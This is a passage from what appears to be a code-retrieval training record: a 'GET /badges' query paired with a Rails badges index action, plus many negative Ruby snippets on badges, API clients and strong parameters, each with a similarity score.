task_params\n params.require(:task).permit(:name, :description, :demo_id, :cloud_id, :platform_id, :favorite_id)\n end", "def task_params\n params.require(:task).permit(:name, :priority, :description, :progress, :project_id, :stage_id)\n end", "def task_params\n all_params = params.require(:task).permit(:title, :due_date, :completed, categories: [])\n return all_params.except(:categories), all_params[:categories]\n end", "def task_params\n params.require(:task).permit(:title, :details, :completed)\n end", "def task_params\n params.require(:task).permit(:name)\n end", "def task_params\n params.require(:tasks).permit(:user_id, :id, :invoice, :location, :is_emergency, :priority, :description, :est_time, :num_workers, :end_time, :start_time, :is_complete, :in_review)\n end" ]
[ "0.6684837", "0.6405162", "0.6246577", "0.61095375", "0.61023605", "0.6090421", "0.60467744", "0.6036887", "0.603539", "0.60320985", "0.60178727", "0.5993932", "0.5979589", "0.59729147", "0.59482586", "0.5944408", "0.5944408", "0.5935087", "0.5923774", "0.5917335", "0.5916025", "0.59049594", "0.58984005", "0.5896868", "0.5884894", "0.5874712", "0.58720994", "0.58699155", "0.58655924", "0.58591425", "0.5855677", "0.5851708", "0.5849887", "0.58487344", "0.5844341", "0.58388466", "0.58224094", "0.5822264", "0.5809603", "0.5802927", "0.5799056", "0.5796794", "0.579355", "0.5790931", "0.5785807", "0.57856417", "0.5758928", "0.57524264", "0.5747081", "0.57429165", "0.5741449", "0.57352734", "0.5733562", "0.57317185", "0.5716927", "0.5712722", "0.57122904", "0.5706512", "0.5695539", "0.56874657", "0.56850034", "0.56850034", "0.567946", "0.5676825", "0.5674907", "0.5668308", "0.5667131", "0.56624526", "0.5661765", "0.5644199", "0.5638627", "0.5637944", "0.563525", "0.5633701", "0.56301516", "0.56270385", "0.56245685", "0.56237996", "0.56196696", "0.5616778", "0.5613075", "0.56032646", "0.56026286", "0.5599462", "0.55991167", "0.5595454", "0.559294", "0.5586733", "0.55857134", "0.5581345", "0.55792975", "0.5576503", "0.5575584", "0.55749655", "0.5573293", "0.5572889", "0.5567647", "0.5567329", "0.55656517", "0.5564519", "0.5564517" ]
0.0
-1
GET /badges GET /badges.json
def index session[:admin] = true @badges = Badge.order('approved_at desc,id') @fri_count = Badge.select { |b| b.friday? }.size @sat_count = Badge.select { |b| b.saturday? }.size respond_to do |format| format.html # index.html.erb format.json { render :json => @badges } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def badges\n get(\"user/#{user_id}/badges.json\")\n end", "def badges(id)\n get(\"users/#{id}/badges\")\n end", "def badges(user_id: '-')\n return get(\"#{API_URI}/#{PROFILE_API_VERSION}/user/#{user_id}/badges.json\")\n end", "def badges(options={})\n self.class.parse_badges(request(singular(user_id) + \"/badges\", options))\n end", "def full_badges\n client.user_badges(id)\n end", "def badges(options={})\n get('/user_badge', options)\n end", "def user_badges user_id=\"self\"\n response = get(\"/users/#{user_id}/badges\")[\"response\"]\n if response[\"sets\"] and response[\"sets\"][\"groups\"]\n response[\"sets\"][\"groups\"].map!{|group| Foursquared::Response::BadgeGroup.new(self, group)}\n end\n\n if response[\"badges\"]\n response[\"badges\"].each_key do |badge_id|\n response[\"badges\"][badge_id] = badge(badge_id)\n end\n end\n response\n end", "def badges_for_user(username)\n response = get \"v1/market/user-badges:#{username}.json\"\n response[:'user-badges']\n end", "def show\n @badge = Badge.find(params[:id])\n @users = @badge.users\n respond_with @badge\n end", "def badge\n if badge_id\n Merit::Badge.find(badge_id)\n else\n Merit::Badge.find_by_name_and_level(badge_name, level)\n end\n end", "def badges_url\n view_context.badges_url\n end", "def new\n @badge = Badge.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @badge }\n end\n end", "def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @badge }\n end\n end", "def parse_badges(result)\n parse_type(result, \"badge\")\n end", "def index\n @user_badges = UserBadge.where(active: true).where(user_id: params[:user_id])\n end", "def show\n @badge = Badge.find_by_key(params[:id])\n respond_to do |format|\n format.html\n end\n end", "def new_badges\n achievements.map(&:new_badges).flatten\n end", "def badges\n end", "def index\n @my_badges = current_account.my_badges \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_my_badges }\n end\n end", "def badge\n if @badge.nil?\n badges = Badge.by_name(badge_name)\n badges = badges.by_level(level) unless level.nil?\n @badge = badges.first\n end\n @badge\n end", "def index\n check_authorization\n #@badges = Badge.find(:all, :conditions => [\"organization_id = ? and segment_id = ?\", @organization.id, @segment.id ] )\n @badges = Badge.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @badges }\n end\n end", "def parse_badges(badges)\n badges.map { |badge| create_new_badge(badge) } if badges\n end", "def index\n if current_user.admin?\n @badges = Badge.all\n else\n @badges = Badge.finished\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @badges }\n end\n end", "def show\n @badge = Badge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @badge }\n end\n \n rescue ActiveRecord::RecordNotFound\n logger.error \"Attempt to access invalid flag #{params[:id]}\"\n redirect_to root_path, notic: 'Invalid page'\n end", "def badges\n achievements.reduce({}) do |badges, achievement|\n badges.merge(achievement.name => achievement.badges)\n end\n end", "def show\n @badge = Badge.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @badge }\n end\n end", "def [](level)\n raise ArgumentError unless valid?(level)\n\n @badges ||= {}\n @badges[level] ||= new(level)\n end", "def showbadge\n authorize! :read, Operator\n @operator = Operator.find_by_badge(params[:badge])\n if @operator\n render json: @operator, except: :badge\n else\n render json: {error: ['Cannot find user']}, status: :unprocessable_entity\n end\n end", "def set_badge\n @badge = Badge.find(params[:id])\n end", "def get_project_vulnerabilities_badge1_with_http_info(uuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BadgeApi.get_project_vulnerabilities_badge1 ...'\n end\n # verify the required parameter 'uuid' is set\n if @api_client.config.client_side_validation && uuid.nil?\n fail ArgumentError, \"Missing the required parameter 'uuid' when calling BadgeApi.get_project_vulnerabilities_badge1\"\n end\n # resource path\n local_var_path = '/v1/badge/vulns/project/{uuid}'.sub('{' + 'uuid' + '}', CGI.escape(uuid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['image/svg+xml'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ProjectMetrics' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BadgeApi#get_project_vulnerabilities_badge1\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @badge = Badge.new(params[:badge])\n\n respond_to do |format|\n if @badge.save\n format.html { redirect_to @badge, :notice => 'Badge was successfully created.' }\n format.json { render :json => @badge, :status => :created, :location => @badge }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @badge.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_badges(badge)\n @badges = {}\n badge.split(',').each do |_badge|\n type, value = _badge.split '/'\n @badges[type] = value.to_i\n end\n end", "def update\n respond_to do |format|\n if @badge.update(badge_params)\n format.html { redirect_to @badge, notice: 'Badge was successfully updated.' }\n format.json { render :show, status: :ok, location: @badge }\n else\n format.html { render :edit }\n format.json { render json: @badge.errors, status: :unprocessable_entity }\n end\n end\n end", "def fetch_badge_from_params\n badge = nil\n\n params.permit(:badge_name)\n if params[:badge_name].nil?\n params.require(:badge_id)\n badge = Badge.find_by(id: params[:badge_id], enabled: true)\n else\n badge = Badge.find_by(name: params[:badge_name], enabled: true)\n end\n raise Discourse::NotFound if badge.blank?\n\n badge\n end", "def add_badge(badge_id)\n badges = JSON.parse(self.badges)\n badges[\"#{badge_id}\"][\"earned\"] = true\n badges[\"#{badge_id}\"][\"earn_date\"] = Date.current\n self.update(badges: badges.to_json)\n end", "def set_badge\n @badge = Badge.find(params[:id])\n end", "def set_badge\n @badge = Badge.find(params[:id])\n end", "def set_badge\n @badge = Badge.find(params[:id])\n end", "def badges\n Merit::Badge.find { |b| b.custom_fields[:skill_level] == self.name_key.to_sym }\n end", "def set_badge\n @badge = Badge.find(params[:id])\n end", "def earned(badge_id)\n badges = JSON.parse(self.badges)\n badges[\"#{badge_id}\"][\"earned\"]\n end", "def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end", "def update\n @badge = Badge.find(params[:id])\n\n respond_to do |format|\n if @badge.update_attributes(params[:badge])\n format.html { redirect_to @badge, notice: 'Badge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @badge.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @badges }\n end\n end", "def create\n @badge = Badge.new(params[:badge])\n \n\n respond_to do |format|\n if @badge.save\n format.html { redirect_to @badge, notice: 'Badge was successfully created.' }\n format.json { render json: @badge, status: :created, location: @badge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @badge.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @honey_badgers = HoneyBadger.all\n respond_to do |format|\n format.html\n format.json { render json: @honey_badgers }\n end\n end", "def badges_count\n badges.count\n end", "def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @badge }\n end\n end", "def get_project_vulnerabilities_badge_with_http_info(name, version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BadgeApi.get_project_vulnerabilities_badge ...'\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling BadgeApi.get_project_vulnerabilities_badge\"\n end\n # verify the required parameter 'version' is set\n if @api_client.config.client_side_validation && version.nil?\n fail ArgumentError, \"Missing the required parameter 'version' when calling BadgeApi.get_project_vulnerabilities_badge\"\n end\n # resource path\n local_var_path = '/v1/badge/vulns/project/{name}/{version}'.sub('{' + 'name' + '}', CGI.escape(name.to_s)).sub('{' + 'version' + '}', CGI.escape(version.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['image/svg+xml'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ProjectMetrics' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BadgeApi#get_project_vulnerabilities_badge\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def badges_version_list_with_http_info(owner, repo, package_format, package_name, package_version, package_identifiers, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: BadgesApi.badges_version_list ...\"\n end\n # verify the required parameter 'owner' is set\n if @api_client.config.client_side_validation && owner.nil?\n fail ArgumentError, \"Missing the required parameter 'owner' when calling BadgesApi.badges_version_list\"\n end\n # verify the required parameter 'repo' is set\n if @api_client.config.client_side_validation && repo.nil?\n fail ArgumentError, \"Missing the required parameter 'repo' when calling BadgesApi.badges_version_list\"\n end\n # verify the required parameter 'package_format' is set\n if @api_client.config.client_side_validation && package_format.nil?\n fail ArgumentError, \"Missing the required parameter 'package_format' when calling BadgesApi.badges_version_list\"\n end\n # verify the required parameter 'package_name' is set\n if @api_client.config.client_side_validation && package_name.nil?\n fail ArgumentError, \"Missing the required parameter 'package_name' when calling BadgesApi.badges_version_list\"\n end\n # verify the required parameter 'package_version' is set\n if @api_client.config.client_side_validation && package_version.nil?\n fail ArgumentError, \"Missing the required parameter 'package_version' when calling BadgesApi.badges_version_list\"\n end\n # verify the required parameter 'package_identifiers' is set\n if @api_client.config.client_side_validation && package_identifiers.nil?\n fail ArgumentError, \"Missing the required parameter 'package_identifiers' when calling BadgesApi.badges_version_list\"\n end\n # resource path\n local_var_path = \"/badges/version/{owner}/{repo}/{package_format}/{package_name}/{package_version}/{package_identifiers}/\".sub('{' + 'owner' + '}', owner.to_s).sub('{' + 'repo' + '}', repo.to_s).sub('{' + 'package_format' + '}', package_format.to_s).sub('{' + 'package_name' + '}', package_name.to_s).sub('{' + 'package_version' + '}', package_version.to_s).sub('{' + 'package_identifiers' + '}', package_identifiers.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'badge_token'] = opts[:'badge_token'] if !opts[:'badge_token'].nil?\n query_params[:'cacheSeconds'] = opts[:'cache_seconds'] if !opts[:'cache_seconds'].nil?\n query_params[:'color'] = opts[:'color'] if !opts[:'color'].nil?\n query_params[:'label'] = opts[:'label'] if !opts[:'label'].nil?\n query_params[:'labelColor'] = opts[:'label_color'] if !opts[:'label_color'].nil?\n query_params[:'logoColor'] = opts[:'logo_color'] if !opts[:'logo_color'].nil?\n query_params[:'logoWidth'] = opts[:'logo_width'] if !opts[:'logo_width'].nil?\n query_params[:'render'] = opts[:'render'] if !opts[:'render'].nil?\n query_params[:'shields'] = opts[:'shields'] if !opts[:'shields'].nil?\n query_params[:'show_latest'] = opts[:'show_latest'] if !opts[:'show_latest'].nil?\n query_params[:'style'] = opts[:'style'] if !opts[:'style'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apikey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BadgesApi#badges_version_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end", "def for_badge(badge); end", "def get_project_vulnerabilities_badge1(uuid, opts = {})\n data, _status_code, _headers = get_project_vulnerabilities_badge1_with_http_info(uuid, opts)\n data\n end", "def index\n @badge_projects = BadgeProject.all\n end", "def craft_badge(badge_page_url)\n appid = badge_page_url.split('/').last\n uid = badge_page_url.split('/')[4]\n # TODO, figure out what the series and border_color parameters mean.\n # for now set them to the observed values of 1,0\n sessionid = URI.decode(@c.cookie_manager.cookies.select{|i| i.match?(URI(\"https://steamcommunity.com\")) && i.name == \"sessionid\"}.first.value)\n body = {\n appid: appid,\n series: 1,\n border_color: 0,\n sessionid: sessionid\n }\n res = @c.post(\"http://steamcommunity.com/id/#{uid}/ajaxcraftbadge/\", body, {Referer: badge_page_url, Origin: \"http://steamcommunity.com\"}) rescue nil\n res && res.code == 200\n end", "def add_winner_badges\n\t\trespond_to do |format|\n\t\t\tformat.json{\n\t\t\t\tscrimage = Scrimage.find(params[:scrimage_id])\n\n\t\t\t\tmaxVotes = scrimage.photos.maximum(\"votes\")\n\n\t\t\t\twinningPhotoIDs = scrimage.photos.where(\"votes = ?\", maxVotes)\n\n\t\t\t\tscrimage.winner_id = winningPhotoIDs.first.id\n\t\t\t\t\n\t\t\t\tscrimage.save()\n\n\t\t\t\twinningPhotoIDs.each do |photoID|\n\t\t\t\t\tphoto = Photo.find(photoID)\n\t\t\t\t\tnotification = Notification.new(:user_id => photo.user_id, :message => \"100 Points Awarded - You won the scrimage with your photo, \"+photo.description+\"!\")\n\n\t\t\t\t\t#Ensures that all winners receive points for their winning photos\n\t\t\t\t\tuser = User.find(photo.user_id)\n\t\t\t\t\tuser.update(points: user.points + 100)\n\n\t\t\t\t\tnotification.save()\n\t\t\t\tend\n\n\t\t\t\t#render :json => {:winningPhotoID => winningPhotoIDs} \n\t\t\t\trender :json => {:html => render_to_string({:partial => \"scrimages/displayChildPhotos\", :formats => [:html, :js], :locals => {:scrimage => scrimage, :layout => false}})}\n \t\t\t}\t\t\t\n \t\tend\n\tend", "def show\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gauge }\n end\n end", "def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end", "def destroy\n @badge.destroy\n respond_to do |format|\n format.html { redirect_to badges_url, notice: 'Badge was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def get_badge\n swimmer.badges.for_season(@season).first if swimmer.badges.for_season(@season).exists?\n end", "def add_badge!( badge, update_badge = true )\n unless @badges.include?( badge )\n @badges << badge\n badge.add_user!( self, false) if update_badge\n end\n return @badges\n end", "def show\n @account = current_account\n @my_badges = current_account.my_badges\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end", "def badge; end", "def get_badge(subject, status, color = 'blue', options = {})\n st = status.gsub(/-/, '--').gsub(/_/, '__')\n res = \"https://img.shields.io/badge/#{subject}-#{st}-#{color}.svg\"\n res += \"?style=#{options[:style]}\" if options[:style]\n res\n end", "def destroy\n @my_badge = User::MyBadge.find(params[:id])\n @my_badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_my_badges_url) }\n format.xml { head :ok }\n end\n end", "def print_user_badges(user_data)\n puts \"-\" * 70\n puts \"Badge Name\".ljust(60) + \"Date\".ljust(10)\n puts \"-\" * 70\n\n # loop through all badges and format the date into something readable\n user_data[\"badges\"].each do |badge|\n puts badge[\"name\"].slice(0, 60).ljust(60) + badge[\"earned_date\"].slice(0, 10).split(\"-\").join(\"/\").ljust(10)\n end\n\n puts \"-\" * 70\nend", "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(badges_url) }\n format.xml { head :ok }\n end\n end", "def award_badges!(new_badges)\n return true if new_badges.empty?\n if !new_badges.first.is_a?(Badge)\n new_badges = Badge.find(:all, :conditions => [\"ref IN (?)\", new_badges])\n end\n self.badges += (new_badges - self.badges)\n end", "def update\n respond_to do |format|\n if @badge.update(badge_params)\n format.html { redirect_to([:admin, @badge], notice: 'Badge was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated badge: #{@badge.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @badge.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_user\n id = params[:slug] || params[:id]\n @user = User.find(id)\n @badges = @user.badges.group_by(&:level)\n end", "def deli_tags(uri, id)\n begin\n md5 = Digest::MD5.hexdigest(uri)\n target = \"http://badges.del.icio.us/feeds/json/url/data?hash=#{md5}\"\n json = open(target).read\n deli = JSON.load(json)[0]\n tags = \"\"\n if deli['top_tags'].class == Hash then\n all_tags = deli['top_tags'].sort_by {|k,v| v}.reverse.map{|i|i[0]}\n if all_tags.size > 8 then\n all_tags = all_tags.first(8) << '...'\n end\n tags = '(' << all_tags.join(', ') << ')'\n end\n if deli['total_posts'].to_i > 0 then\n response = \"#{id}: (deli) #{deli['total_posts']} links, tagged #{tags}\"\n $q_meta.enq response\n end\n rescue\n puts \"problem fetching deli for #{uri}\"\n end\nend", "def show\n authorize @badge\n @staff = User.where(role: 'staff', school: current_user.school)\n @awarded_badge = AwardedBadge.where(user: current_user, badge: @badge).first\n end", "def update\n @badge = Badge.find(params[:id])\n respond_to do |format|\n if @badge.update_attributes(params[:badge])\n flash[:notice] = 'Badge was successfully updated.'\n format.html { redirect_to organization_segment_badge_url(@organization,@segment, @badge) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @badge.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @user = User.find(params[:id])\n unless @user.uuid == current_user.uuid\n unless current_user.rels(dir: :outgoing, type: :visits, between: @user).blank?\n rel = current_user.rels(dir: :outgoing, type: :visits, between: @user)\n rel[0].count = rel[0].count + 1\n rel[0].save!\n else\n rel = Visit.new\n rel.from_node = current_user\n rel.to_node = @user\n rel.count = 1\n rel.save!\n end\n current_user.save!\n end\n #@b = current_user.badges(:u, :r).where( uuid: @user.uuid ).pluck(:r)\n #@badges = @b.map {|b| b.badgeType}.uniq\n @uniq_badges = @user.rels(dir: :incoming, type: :badges).each.map {|r| r.badgeType}.uniq\n @all_badges = {}\n @uniq_badges.each do |badge|\n @all_badges[badge] = @user.rels(dir: :incoming, type: :badges).each.select{|r| r.badgeType == badge }.count\n end\n @my_badges = []\n @badges_count = @user.rels(dir: :incoming, type: \"badges\").count\n if current_user.uuid != @user.uuid\n current_user.rels(dir: :outgoing, type: :badges, between: @user).each do |r|\n #current_user.badges(:u, :r).where( uuid: @user.uuid ).each_with_rel do |u, r| \n @my_badges << r[:badgeType]\n end\n end\n @pictures = @user.pictures\n @testimonials = @user.testimonials\n\n unless @user.uuid == current_user.uuid\n @like = current_user.rels(dir: :outgoing, type: :likes, between: @user).blank? ? true : false\n end\n @likes_count = @user.rels(dir: :incoming, type: \"likes\").count\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def update\n get_my_badge\n respond_to do |format|\n if @my_badge.update_attributes(params[:my_badge])\n flash[:notice] = 'Your badge was successfully updated.'\n format.html { redirect_to user_my_badge_url(@my_badge) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @my_badge.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_admin_badge\n @badge = Badge.find(params[:id])\n end", "def set_users_badge\n @users_badge = UsersBadge.find(params[:id])\n end", "def index\n @badge_categories = BadgeCategory.all\n end", "def find_bridges(params={}, headers=default_headers)\n @logger.info(\"Find Bridges.\")\n get(\"#{@api_url}/bridges\", params, headers)\n end", "def badge(*args)\n badge_label(:badge, *args)\n end", "def show\n @badge = Badge.find(params[:id])\n if not @badge.finished? and not current_user.admin?\n redirect_to home_url\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @badge }\n end\n end", "def get_project_vulnerabilities_badge(name, version, opts = {})\n data, _status_code, _headers = get_project_vulnerabilities_badge_with_http_info(name, version, opts)\n data\n end", "def index_by_user\n @gifts = @current_user.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def has_badge?(badge)\n case badge\n when Badge\n badges.find_by_id(badge.id)\n when Fixnum\n badges.find_by_id(badge)\n when String\n badges.find_by_name(badge)\n end\n end", "def set_badge\n @badge = Badge.friendly.find(params[:id])\n authorize @badge\n end", "def index\n @bulletins = Bulletin.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bulletins }\n end\n end", "def create\n @user_badge = UserBadge.new(user_badge_params)\n @user_badge.active = true\n @user_badge.user_id = @user.id\n\n respond_to do |format|\n if @user_badge.save\n format.html { redirect_to team_user_path(@team, @user), notice: 'User badge was successfully created.' }\n format.json { render :show, status: :created, location: @user_badge }\n else\n format.html { render :new }\n format.json { render json: @user_badge.errors, status: :unprocessable_entity }\n end\n end\n end", "def groups\n response[\"groups\"].map!{|group| Foursquared::Response::BadgeGroup.new(client, group)}\n end", "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(organization_segment_badges_url) }\n format.xml { head :ok }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def show\n @gage = Gage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gage }\n end\n end", "def crear_achievement badge, id_app\n description = badge[\"description\"].encode(\"UTF-8\")\n \n body = {\n name:badge[\"name\"],\n imageUrl:badge[\"imageUrl\"],\n unique: true,\n criteriaUrl: badge[\"criteriaUrl\"],\n earnerDescription: description,\n consumerDescription: description ,\n criteria: badge[\"criteria\"],\n type: 'Badge'\n }\n status 201\n \n response = signed_post_request @@API_ROOT+\"/issuers/#{id_app}/badges\", body\n\n end", "def create\n @badge = Badge.new(params[:badge])\n\n respond_to do |format|\n if @badge.save\n flash[:notice] = 'Badge was successfully created.'\n format.html { redirect_to organization_segment_badge_url(@organization, @segment, @badge) }\n format.xml { render :xml => @badge, :status => :created, :location => @badge }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @badge.errors, :status => :unprocessable_entity }\n end\n end\n end", "def badges(league_id, player_id)\n # get players\n players = player_ids league_id\n badges = Hash.new { |h, k| h[k] = [] }\n all_games = game_ids(league_id)\n\n # tournament hack\n # badges[399] << badge('🏆', 'New Bags Champs') #adam\n # badges[453] << badge('🏆', 'Jan 18th Champs') #james\n # badges[397] << badge('🥈', 'New Bags 2nd Place') #greg\n # badges[319] << badge('🥈', 'Jan 18th - 2nd Place') #mike\n # badges[449] << badge('🥉', 'New Bags 3rd Place') #kirk\n # badges[21] << badge('🥉', 'Jan 18th - 3rd Place') #randall\n\n # plays a lot\n # players.each do |p|\n # badges[p] << badge('⚽', 'Determined') if games_this_week(p, league_id) > 50\n # end\n\n # fire badge\n # best daily change\n best_change = players.group_by { |p| daily_elo_change(p, league_id) }.max\n best_change.last.each { |b| badges[b] << badge('🔥', 'On Fire') } if !best_change.nil? && best_change.first >= 10\n\n # poop badge\n # worst daily change\n worst_change = players.group_by { |p| daily_elo_change(p, league_id) }.min\n worst_change.last.each { |b| badges[b] << badge('💩', 'Rough Day') } if !worst_change.nil? && worst_change.first <= -10\n\n # baby badge\n # 10-15 games played\n babies = players.select do |p|\n games_with_player(p, league_id, 20).length.between?(10, 15)\n end\n babies.each { |b| badges[b] << badge('👶🏼', 'Newly Ranked') } unless all_games.length < 100 || babies.nil?\n\n # monkey badge\n # won last game but elo went down\n # flexing badge\n # won last game and gained 10+ elo\n players.select do |p|\n games = games_with_player(p, league_id, 1)\n next if games.empty?\n last_game = api_game(games.first, league_id)\n winner = last_game[:teams][0][:players].any? { |a| a[:playerID] == p }\n badges[p] << badge('🙈', 'Monkey\\'d') if last_game[:teams][0][:delta] < 0 && winner\n badges[p] << badge('🍌', 'Graceful Loss') if last_game[:teams][0][:delta] < 0 && !winner\n badges[p] << badge('💪🏼', 'Hefty Win') if last_game[:teams][0][:delta] >= 10 && winner\n badges[p] << badge('🤕', 'Hospital Bound') if last_game[:teams][0][:delta] >= 10 && !winner\n end\n\n # toilet badge\n # last skunk (lost w/ 0 points)\n toilet_game = all_games.find do |g|\n (api_game(g, league_id)[:teams][1][:score]).zero?\n end\n toilets = api_game(toilet_game, league_id)[:teams][1][:players] if toilet_game\n toilets.each { |b| badges[b[:playerID]] << badge('🚽', 'Get Rekt') } unless toilets.nil?\n\n # win streak badges\n # 5 and 10 current win streak\n win_streaks = {}\n players.each do |p|\n games = games_with_player(p, league_id, 20)\n last_wins = games.take_while do |g|\n game = api_game(g, league_id)\n game[:teams][0][:players].any? { |a| a[:playerID] == p }\n end\n win_streaks[p] = last_wins.length\n end\n\n win_streaks.each do |p, s|\n badges[p] << badge(\"#{s}⃣\", \"#{s}-Win Streak\") if s.between?(3, 9)\n badges[p] << badge('💰', \"#{s}-Win Streak\") if s.between?(10, 19)\n badges[p] << badge('👑', '20+ Win Streak') if s >= 20\n end\n\n # zzz badge\n # hasn't played a game in 2 weeks\n if league_id == 1\n sleepers = players.select do |p|\n player_snoozin(p, league_id)\n end\n sleepers.each { |b| badges[b] << badge('💤', 'Snoozin\\'') }\n end\n\n # nemesis and ally badges\n if player_id > 0\n nemeses = []\n allies = []\n you = api_player(player_id, true, league_id)\n players.each do |p|\n this_player = api_player(p, false, league_id)\n nemeses << p if this_player[:displayName] == you[:nemesis]\n allies << p if this_player[:displayName] == you[:ally]\n end\n nemeses.each { |b| badges[b] << badge('😈', 'Your Nemesis') }\n allies.each { |b| badges[b] << badge('😇', 'Your Ally') }\n end\n\n # build hash\n badges.collect do |k, v|\n {\n playerID: k,\n badges: v\n }\n end\nend", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_badge }\n end\n end", "def index_by_age\n @age = Age.find(params[:age_id])\n @gifts = @age.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def destroy\n @badge.destroy\n respond_to do |format|\n format.html { redirect_to(admin_badges_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted badge: #{@badge.name}\")\n end", "def badge_status(user)\n if user.badges.select {|b| b.is_a?(self)}.empty?\n 0\n else\n current = user.badges.select {|b| b.is_a?(self)}\n current.map {|b| b.level }.max\n end\n end", "def create\n @badge = Badge.new(badge_params)\n\n respond_to do |format|\n if @badge.save\n format.html { redirect_to camera_badge_url(@badge) }\n format.json { render :show, status: :created, location: @badge }\n else\n format.html { render :new }\n format.json { render json: @badge.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n format.html {render json: @gig, status: :ok}\n format.json { render json: @gig, status: :ok }\n end\n end" ]
